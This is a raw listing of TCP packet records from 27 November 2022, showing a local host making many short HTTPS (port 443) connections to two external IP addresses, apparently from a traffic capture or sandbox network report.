Nov 27, 2022 04:37:34.943487883 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.943631887 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.975518942 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.975550890 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.981240034 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.981264114 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.050065041 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.050190926 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.050380945 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.054526091 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.054570913 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.091975927 CET	49800	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.092036963 CET	443	49800	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.092154980 CET	49800	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.092489958 CET	49800	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.092510939 CET	443	49800	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.092586994 CET	443	49800	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.206528902 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.206604004 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.206708908 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.208129883 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.208168983 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.256217957 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.256552935 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.267838001 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.267878056 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.276030064 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.276076078 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.308687925 CET	49802	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.308757067 CET	443	49802	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.308870077 CET	49802	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.309374094 CET	49802	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.309412956 CET	443	49802	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.309546947 CET	443	49802	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.413228989 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.413328886 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.413358927 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.413418055 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.433723927 CET	49801	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.433778048 CET	443	49801	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.545072079 CET	49803	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.545119047 CET	443	49803	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.545458078 CET	49803	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.545800924 CET	49803	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.545819044 CET	443	49803	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.545936108 CET	443	49803	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.679461002 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.679497957 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.681057930 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.704979897 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.704997063 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.752774954 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.753297091 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.753861904 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.753869057 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.758955956 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.758963108 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.773637056 CET	49805	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.773684978 CET	443	49805	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.773891926 CET	49805	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.774224997 CET	49805	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:35.774254084 CET	443	49805	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.774322033 CET	443	49805	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:35.858120918 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.858248949 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:35.858345985 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.862345934 CET	49804	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:35.862360001 CET	443	49804	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.055389881 CET	49806	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.055454016 CET	443	49806	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.055552959 CET	49806	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.058410883 CET	49806	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.058470011 CET	443	49806	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.058572054 CET	443	49806	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.076065063 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.076118946 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.076203108 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.149712086 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.149775982 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.191203117 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.191283941 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.191844940 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.191854000 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.199455976 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.199471951 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.288227081 CET	49808	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.288281918 CET	443	49808	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.288388014 CET	49808	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.288714886 CET	49808	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.288736105 CET	443	49808	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.288780928 CET	443	49808	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.297494888 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.297569036 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.297595978 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.297616959 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.297646999 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.297665119 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.315537930 CET	49807	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.315562010 CET	443	49807	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.527959108 CET	49809	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.528028965 CET	443	49809	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.528112888 CET	49809	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.528461933 CET	49809	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.528481960 CET	443	49809	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.528589010 CET	443	49809	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.548892975 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.548959017 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.549127102 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.563118935 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.563167095 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.609847069 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.609925032 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.613040924 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.613054991 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.617350101 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.617368937 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.633327007 CET	49811	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.633403063 CET	443	49811	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.633692980 CET	49811	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.634109020 CET	49811	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.634135008 CET	443	49811	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.634217024 CET	443	49811	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.720632076 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.720791101 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.720890999 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.721153021 CET	49810	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.721177101 CET	443	49810	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.770699024 CET	49812	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.770778894 CET	443	49812	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.770922899 CET	49812	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.771332979 CET	49812	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:36.771362066 CET	443	49812	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.771457911 CET	443	49812	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:36.919651031 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.919707060 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.919877052 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.921242952 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.921269894 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.970825911 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.970932007 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.971534967 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.971549034 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:36.976270914 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:36.976284981 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.029335976 CET	49814	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.029393911 CET	443	49814	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.029496908 CET	49814	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.029863119 CET	49814	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.029885054 CET	443	49814	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.029972076 CET	443	49814	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.074105024 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.074258089 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.074390888 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.111277103 CET	49813	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.111315966 CET	443	49813	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.275719881 CET	49815	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.275783062 CET	443	49815	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.276602030 CET	49815	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.277177095 CET	49815	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.277209997 CET	443	49815	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.277323961 CET	443	49815	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.376012087 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.376082897 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.377120972 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.383660078 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.383722067 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.432410955 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.432538033 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.433172941 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.433201075 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.438365936 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.438386917 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.477859974 CET	49817	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.477924109 CET	443	49817	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.478009939 CET	49817	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.478343010 CET	49817	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.478360891 CET	443	49817	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.478435993 CET	443	49817	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.533787012 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.533869028 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.533900976 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.533941984 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.533957005 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.534941912 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.557235003 CET	49816	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.557272911 CET	443	49816	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.612978935 CET	49818	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.613059044 CET	443	49818	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.613168955 CET	49818	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.613840103 CET	49818	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.613878965 CET	443	49818	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.614001989 CET	443	49818	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.734757900 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.734838963 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.735064983 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.735788107 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.735826015 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.784600019 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.787636995 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.796070099 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.796114922 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.802292109 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.802316904 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.841187954 CET	49820	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.841259956 CET	443	49820	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.842381001 CET	49820	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.842727900 CET	49820	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:37.842765093 CET	443	49820	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.842860937 CET	443	49820	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:37.892230034 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.892407894 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:37.892517090 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.917754889 CET	49819	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:37.917793036 CET	443	49819	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.059881926 CET	49821	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.059953928 CET	443	49821	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.060075045 CET	49821	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.060436964 CET	49821	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.060465097 CET	443	49821	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.060571909 CET	443	49821	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.168220043 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.168317080 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.169806957 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.171340942 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.171380043 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.219811916 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.220000982 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.231595039 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.231632948 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.235711098 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.235764980 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.258260965 CET	49823	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.258313894 CET	443	49823	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.258400917 CET	49823	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.269879103 CET	49823	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.269897938 CET	443	49823	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.269965887 CET	443	49823	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.326293945 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.326442003 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.326561928 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.348526001 CET	49822	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.348582029 CET	443	49822	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.450094938 CET	49824	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.450184107 CET	443	49824	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.450284004 CET	49824	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.450632095 CET	49824	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.450655937 CET	443	49824	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.450751066 CET	443	49824	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.591486931 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.591550112 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.591633081 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.593615055 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.593642950 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.642340899 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.642440081 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.652379990 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.652410984 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.665643930 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.665688038 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.695380926 CET	49826	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.695451021 CET	443	49826	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.695528984 CET	49826	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.695879936 CET	49826	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.695909023 CET	443	49826	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.696000099 CET	443	49826	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.745526075 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.745676994 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.745819092 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.761190891 CET	49825	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:38.761230946 CET	443	49825	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:38.976283073 CET	49827	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.976370096 CET	443	49827	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.976567030 CET	49827	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.977200031 CET	49827	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:38.977230072 CET	443	49827	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:38.977358103 CET	443	49827	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.003123045 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.003200054 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.003839970 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.007657051 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.007699966 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.057183981 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.057832956 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.069354057 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.069386959 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.077739000 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.077783108 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.171344042 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.171513081 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.171577930 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.171665907 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.184686899 CET	49828	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.184732914 CET	443	49828	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.222033024 CET	49829	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.222091913 CET	443	49829	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.224004030 CET	49829	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.235424995 CET	49829	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.235450983 CET	443	49829	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.235594988 CET	443	49829	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.346687078 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.346784115 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.346925974 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.347440004 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.347470999 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.395796061 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.395962954 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.414437056 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.414462090 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.452230930 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.452270985 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.452874899 CET	49831	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.452945948 CET	443	49831	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.453083992 CET	49831	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.453425884 CET	49831	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.453457117 CET	443	49831	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.453620911 CET	443	49831	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.511655092 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.511796951 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.511801004 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.511951923 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.525896072 CET	49830	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.525947094 CET	443	49830	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.569749117 CET	49832	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.569818974 CET	443	49832	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.569983006 CET	49832	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.573760986 CET	49832	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:39.573807001 CET	443	49832	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.573987961 CET	443	49832	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:39.672138929 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.672219038 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.672319889 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.673382998 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.673424006 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.720249891 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.720860004 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.727174997 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.727220058 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.731091022 CET	49833	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:39.731120110 CET	443	49833	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:39.797573090 CET	49834	443	192.168.2.5	51.195.77.248
